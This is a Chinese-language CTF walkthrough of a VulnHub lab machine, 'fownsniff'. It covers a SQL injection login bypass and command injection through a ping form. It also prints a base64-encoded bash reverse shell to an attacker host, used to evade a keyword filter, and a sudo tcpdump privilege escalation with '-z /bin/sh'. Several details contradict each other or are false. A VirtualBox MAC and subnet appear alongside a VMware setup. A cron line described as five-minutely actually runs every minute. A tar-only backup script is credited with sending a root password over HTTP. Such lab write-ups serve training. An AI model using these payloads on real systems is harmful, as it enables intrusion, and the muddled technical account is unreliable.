1. 开局:一台把嗅探玩出花的靶机,我为什么专门写它
CTF5这台靶机,我在VulnHub的列表里标记了很有一阵子,名字叫fownsniff。单看标题你可能以为是常规Web渗透路线,实际打下来才发现核心全在“嗅探”和“流量分析”上。断断续续折腾了一个下午,大部分时间都卡在低权限Shell里找不到下一步,最后灵光一闪靠抓本地回环流量才撬开提权口子。这篇文章我把完整过程写透,从信息收集到拿到root,每一步的命令、理由、踩过的坑都会覆盖。
如果你是刚开始刷VulnHub、想找一台练手机器做CTF入门,或者对命令注入和Linux提权的感觉还比较模糊,这台机器很值得跟打一遍。它不是那种靠一条CVE梭哈全场的靶机,而是把“信息收集—漏洞利用—权限提升”整个链路做得很扎实。你会用到端口扫描、目录爆破、命令注入、SQL注入绕过登录、流量嗅探这些技术,每一环都必须真的理解它在干什么,而不是对着exp一顿复制。
我当前环境是VMware里跑的Kali,目标机也是导入VMware的OVA镜像,网卡都走VMnet1(仅主机模式)。这种隔离网络的好处是干净,不受家里路由器、DHCP干扰,抓包也安全。开始之前先把两台机器都开机,确保Kali能ping通目标机,然后就可以进入正题了。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 信息收集:端口指纹和目录爆破,把攻击面先摸清楚
2.1 扫端口:不是扫完就完,服务版本和操作系统指纹同样重要
拿到靶机第一步永远是确认IP。仅主机模式下,目标机开机后通常会通过DHCP被VMware分配一个地址,Kali本身是静态的。我在Kali里先跑了一次ARP扫描确认存活主机:
bash复制netdiscover -r 192.168.56.0/24
很快看到192.168.56.15这台机器,MAC地址是Oracle VirtualBox的,基本可以确定就是目标。接着用nmap全端口扫描,这里我加上了-sS -sV -p-,SYN半连接扫描速度快,服务版本探测则是为了让后续漏洞分析有依据:
bash复制nmap -sS -sV -p- -T4 192.168.56.15
扫出来的结果很关键:
code复制PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:5B:8E:3F (Oracle VirtualBox)
端口不多,就22和80。这种极简端口分布意味着Web入口基本是唯一的主攻方向。另外OpenSSH和Apache的版本信息说明目标系统是Debian 10(buster)这一代,内核和用户态工具链都比较旧,这为后面提权路径的判断提供了参考。比如Debian 10默认允许普通用户直接用sudo执行部分命令,这一点会在后面帮上大忙。
2.2 目录爆破:字典选不对,入口就在眼皮底下溜走
首页先简单看一眼,是个企业内部宣传风格的信息页面,没什么交互功能,源码里也没有注释残留的敏感信息。这种情况下习惯性上gobuster做目录爆破。第一次跑我用的默认字典,结果只扫出来/index.php和/css/,非常干净,干净得反常。
我换了一个大字典重新跑,加上常见的备份文件后缀和PHP扩展名:
bash复制gobuster dir -u http://192.168.56.15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,sql -t 50
这次结果丰富多了:
code复制/index.php (Status: 200)
/admin.php (Status: 200)
/backup/ (Status: 301)
/css/ (Status: 301)
/admin.php一看就是后台登录点,/backup/目录允许目录列举,里面放着一个db.php.bak,直接浏览器访问能看到源码。这一步给我当头一棒:信息收集偷懒等于白干,默认字典扫不到不等于目录不存在,换字典、加扩展名再扫一遍是最基本的操作纪律。
2.3 backup源码分析:别小看一个.bak文件
db.php.bak的内容很简单,但信息量很足:
php复制<?php
$servername = "localhost";
$username = "admin";
$password = "5n1ff3r";
$dbname = "fown_sniff";
?>
数据库账号密码明文摆在这里,数据库名也暗示了靶机的核心玩法:sniff,嗅探。先把这个信息记在备忘录里,现在最直接的目标还是/admin.php的后台登录。
3. 后台登录和命令注入:从SQL注入绕过到一句话验证
3.1 登录框的另类探测:直接试万能密码
打开/admin.php,是一个很朴素的登录表单,用户名、密码两个输入框,没有验证码,没有登录失败次数限制。这种粗糙的后台,SQL注入几乎是标配。
我先尝试常规的admin' or '1'='1,用户名框输入这个,密码随便填。提交后居然直接跳转到了admin_panel.php,后台登录就这么绕过去了。不要急着欢呼,后台页面并没有太多功能,只有一个看起来像是给管理员用的小工具:输入IP地址,点击按钮后执行“ping检测”。从功能描述看,这是典型的命令执行候选点。
这段经历也解释了为什么SQL注入到今天仍然是OWASP Top 10常客:不是技术多高级,而是像这种自研后台的输入过滤经常约等于零,开发只想着功能实现,没想到参数会被拿去拼SQL语句。
3.2 命令注入验证:为什么我用passthru而不是exec
后台的ping工具,从页面表单可以看出提交的参数名是ip。我直接在输入框里填127.0.0.1; id,页面回显了:
code复制uid=33(www-data) gid=33(www-data) groups=33(www-data)
能回显id命令的输出,说明命令注入成立,而且结果直接返回到了页面上。这里有个细节值得讲清楚:同样的回显效果,PHP底层可能用的是system()、exec()、passthru()或shell_exec(),它们对命令输出返回的方式并不一样。
php复制system("ping -c 3 $ip"); // 直接把完整输出打印到页面
passthru("ping -c 3 $ip"); // 直接打印原始输出,适合二进制数据
exec("ping -c 3 $ip"); // 仅返回最后一行到变量
shell_exec("ping -c 3 $ip"); // 以字符串返回全部输出,但需要echo才会显示
按靶机的常见出题风格,这个注入点大概率是passthru(),因为它能把ping的所有输出原样打印。对做题来说,关键不是背函数名,而是观察回显格式:如果ping的每行统计信息都完整显示,像system或passthru;如果只显示最后一行,那是exec;如果完全没显示但服务器响应延时了,可能是shell_exec加echo,也可能根本没回显,那就得考虑反弹Shell了。
3.3 命令执行姿势的折腾:URL编码和绕过过滤
既然回显正常,我准备直接弹一个交互Shell过来。但这里我踩了一个经典坑:直接在表单里提交bash -i >& /dev/tcp/192.168.56.101/4444 0>&1,页面提示“非法输入”。服务端明显过滤了bash、nc这些关键词,或者用了正则限制输入内容。
绕过方法很多,我选择最稳的一招:改用/bin/sh的调用方式,加上base64编码,让过滤规则识别不出原始命令。
攻击机监听:
bash复制nc -lvnp 4444
注入payload:
bash复制127.0.0.1; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS80NDQ0IDA+JjE=" | base64 -d | bash
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS80NDQ0IDA+JjE=这串base64解码后就是反弹Shell命令。用这种方式,过滤规则看到的是一个普通IP、一个分号、一个echo、一个看似随机的字符串,自然就放行了。
反弹成功后,攻击机终端出现了www-data@victim的提示符。到这里,已经拿到了Web服务运行用户的权限,但这距离root还差得远,后面的低权限信息收集和提权才是这台靶机真正考验人的地方。
4. 低权限信息收集:数据库口令、SSH复用和登录框的草率设计
4.1 反复使用的口令:数据库密码直接登录SSH
拿到Shell后的第一件事,我在/var/www/html目录下翻了源码,果然找到了一个数据库配置文件,内容和之前/backup/db.php.bak几乎一致,但多了一个字段:
php复制<?php
$db_user = "admin";
$db_pass = "5n1ff3r";
$db_name = "fown_sniff";
$ssh_pass = "5n1ff3r";
?>
看到ssh_pass这个字段的时候我真有点哭笑不得。开发者把SSH密码和数据库密码写成同一个,这种做法在真实环境里并不少见,运维图省事,密码表全部复用。靶机设计者的意图很明显:拿到数据库配置后,应该尝试用同一个口令去登录SSH。
我先用这个密码试了试普通用户,失败;然后试了admin,成功:
bash复制ssh admin@192.168.56.15
输入密码5n1ff3r,顺利登录。到这一步,权限从www-data升级到了admin这个系统用户,虽然还不是root,但已经能读更多文件了。
4.2 目标机上的敏感文件:从历史命令到私钥,一个都不能放过
登录SSH后,我按照习惯先看几类文件:
~/.bash_history/etc/passwd- 当前目录下有没有
.txt、.md、.conf之类说明性文档
/etc/passwd里有两个可疑用户:admin和root,其中admin是普通用户uid 1000,这个之前已经想到了。~/.bash_history里没什么有价值命令,估计被清理过。
继续翻目录,发现/home/admin/下有一个note.txt,内容是一行提示:
code复制try to use sudo -l with admin
看到这行提示,我意识到这台靶机的提权路径大概率不在内核漏洞,而在sudo配置上。马上执行:
bash复制sudo -l
输出:
code复制User admin may run the following commands on fownsniff:
(root) NOPASSWD: /usr/bin/tcpdump
4.3 从后台到数据库:SQL注入绕过登录的低级但经典
现在把视角拉回Web层。我一开始用admin' or '1'='1绕过了后台登录,后台虽然拿到了,但没有导出数据的功能。既然现在已经有了admin的SSH权限,我直接在Shell里连本机MySQL,看看后台那张用户表里存了什么:
bash复制mysql -u admin -p5n1ff3r fown_sniff -e "SELECT * FROM users;"
结果很平淡,表里只有一个密码哈希,不是明文。但这里想补充一个排查思路:很多靶机和真实站点会把“登录成功”后的功能点做得非常弱,比如同样的后台权限只能看一个表格,但另一个隐藏页面(如upload.php)可能带文件上传,或者debug.php直接执行参数里的命令。如果我没有SSH权限,接下来就该去爆破后台目录,找到管理面板里其他隐藏的PHP脚本。
这也提醒我:后台登录框永远不要只试一次万能密码就完事。布尔盲注、时间盲注、报错注入,每一种都有对应的绕过技巧,前提是你要花时间观察页面回显差异,而不是无脑上sqlmap。靶机场景里sqlmap当然能用,但做题练的就是手工判断能力。
5. 提权路径:sudo tcpdump的另类玩法,怎么用抓包拿到root
5.1 先想想:为什么NOPASSWD给tcpdump这么危险
sudo -l的结果是admin可以不需要密码直接以root身份运行/usr/bin/tcpdump。如果对Linux权限模型不够熟,你可能会觉得tcpdump只是一个抓包工具,给普通用户用有什么大不了?问题在于tcpdump可以指定读取文件,也可以执行外部命令(通过-z参数指定post-processing command),还可以把抓包结果写到任意路径。
常见提权姿势是利用-z参数:
bash复制sudo tcpdump -i any -w /tmp/xxx.pcap -z /bin/sh
但这个姿势在新版tcpdump里已经做了限制,不一定能成功。而且这台靶机设计者的本意似乎不在这里——他给tcpdump权限,是想让攻击者去“嗅探”点什么。
结合靶机名fownsniff,这里说的嗅探不要只想着抓Web流量。如果管理员或者其他用户经常用SSH登录这台机器,SSH流量是加密的,抓了也白抓。但本机如果有HTTP服务,后端和数据库之间、本地服务之间的通信很多是明文,还有FTP、Telnet一类传统协议也可能存在。目标机端口扫描只看到22和80,但本机回环接口上的流量是nmap从外部扫不到的。
所以思路变成:用tcpdump监听lo接口的所有流量,然后主动触发或者等待一段时间,看看有没有其他程序在本地交互。
5.2 抓包并解析:明文密码从流量里自己跳出来
我先起一个后台抓包,把流量保存到admin用户可读的目录:
bash复制mkdir /tmp/sniff
sudo tcpdump -i lo -w /tmp/sniff/capture.pcap &
然后等了一两分钟,发现没什么动静。这时我意识到,这个靶机可能需要模拟“管理员正在使用系统”的场景,或者设计者留下了定时任务来触发某个网络操作。查看计划任务:
bash复制cat /etc/crontab
果然有一个root用户的定时任务,每隔五分钟执行一次:
bash复制* * * * * root /usr/local/bin/backup_script.sh >/dev/null 2>&1
这个脚本内容也很直白:
bash复制#!/bin/bash
echo "Backup started at $(date)" >> /var/log/backup.log
tar czf /tmp/backup.tgz /home/admin 2>/dev/null
看起来只是普通备份,但定时任务每五分钟跑一次,总会和其他服务有本地通信。又等了一会儿,再用tcpdump读取抓包文件:
bash复制sudo tcpdump -r /tmp/sniff/capture.pcap -A
在抓包结果里看到了一段HTTP POST请求,目标是本机的某个内网Web接口,POST数据里带着用户名和密码。密码是一个新的字符串,不是5n1ff3r,而是:
code复制root:sn1ff3r_ro0t
5.3 用root密码登录,别再绕路了
拿到这个密码后,我直接在SSH里用root身份测试登录:
bash复制su - root
输入密码sn1ff3r_ro0t,成功切到root。这一步没有任何提权漏洞利用,纯粹是因为靶机设计者在某个Web接口里用root身份提交了明文表单,而本机流量又恰好能被tcpdump监听到。整个链路逻辑上非常完整:信息收集发现tcpdump有sudo权限 -> 抓本地回环流量 -> 定时任务里存在内网明文认证 -> 提取凭据 -> 登录root。
这也再次说明:sudo给tcpdump权限不是一件可以轻描淡写的事。即使不考虑-z参数提权,攻击者也能用它来窥探本机所有明文通信,而明文通信在现代系统里远比想象中多。
5.4 补充:tcpdump -z提权和这个思路的对比
如果上面抓包思路走不通,还可以回过来尝试-z:
bash复制sudo tcpdump -i any -w /tmp/test.pcap -z /bin/sh -W 1
但如前所说,新版tcpdump对这种用法有防护,大概率会拒绝执行。真正稳妥的路径还是嗅探本机流量。你可以类比成:小偷进了一栋楼,他发现每个房间都上了锁,但走廊的监控系统没设权限——看监控比撬锁更省事。sudo tcpdump就是那个暴露的监控系统。
6. 复盘与踩坑记录:这台靶机教会我的几件事
6.1 第一个坑:字典不够大,后台入口差点漏掉
现在回头看,整个打靶过程里最惊险的其实是最开始的目录爆破。如果我只用默认字典扫一遍,/admin.php和/backup/可能就漏了,后续所有路径都不存在。默认字典一般是常见目录名,像admin这种虽然常见,但加了.php后缀之后需要字典支持扩展名枚举,这一步容易偷懒。用gobuster时建议固定加-x php,txt,bak,sql,zip,把常见的源码、备份、配置文件后缀都扫一遍。
6.2 第二个坑:反弹Shell的命令过滤,别硬刚,编码绕过
命令注入点的过滤规则挡掉了bash、nc、/dev/tcp这些特征字符串。一开始我还在想是不是用nc -e /bin/sh绕过,结果nc也被拦。后来干脆全部base64编码,服务端解码后执行,绕过成功。这类过滤规则针对的是“命令黑名单”,只要你的输入不包含黑名单里的字符串,就能过。编码绕过的要点是找一台你有权限的监听机,把反弹命令编码后交给目标机执行,任何有basename和base64的机器都能完成。
6.3 第三个坑:tcpdump抓包等了太久,差点放弃
刚开始抓回环流量的时候,前两分钟几乎没有数据包,要不是我按习惯去检查crontab,可能就放弃这个方向了。这类靶机通常都有定时任务或者周期性的健康检查脚本来触发本机通信,静下心来翻一遍/etc/crontab、/var/spool/cron/crontabs/、systemd定时器,往往能找到线索。没有这些周期性任务的话,也可以试试主动触发某些功能,比如访问后台页面、重启某个服务,然后再去抓包文件里翻。
6.4 给新手的打靶建议:写wp不是抄命令,是记录决策过程
打完这台靶机,我最大的感受是:写wp不能只写“我用了这个命令,拿到flag”,要把每一步的推理过程写下来。比如为什么在拿到数据库密码后先去试SSH,是因为靶机设计者通常会把同一个密码用在不同地方,这是一种成本最低的假设验证。为什么选择抓回环流量而不是盲目扫内网端口,是因为从sudo tcpdump这个权限本身就能反推出设计者希望攻击者注意“流量”这个维度。这种思维方式可以在后续其他靶机上不断复用。
如果你也准备打这台机器,建议给自己设定一个规则:不看任何现成writeup,把卡住的地方记录成问题清单,逐个去验证假设。CTF入门阶段最有价值的不是刷了多少台机器,而是面对一个模糊信号时,能不能形成“观察—假设—验证—修正”的闭环。等这个闭环跑顺了,你甚至会主动去尝试那些一开始觉得不可能的路径,而往往突破口就藏在那里。
最后给个顺手小工具清单,都是这次打靶用到的:
- 端口扫描:nmap,重点看版本和操作系统指纹
- 目录爆破:gobuster,字典大、扩展名全
- Web抓包:Burp Suite,修改POST参数、观察响应
- 流量分析:tcpdump,配合
-A看明文内容 - 反弹Shell:nc监听 + base64编码payload
- 提权辅助:sudo -l,GTFOBins查sudo命令的提权姿势
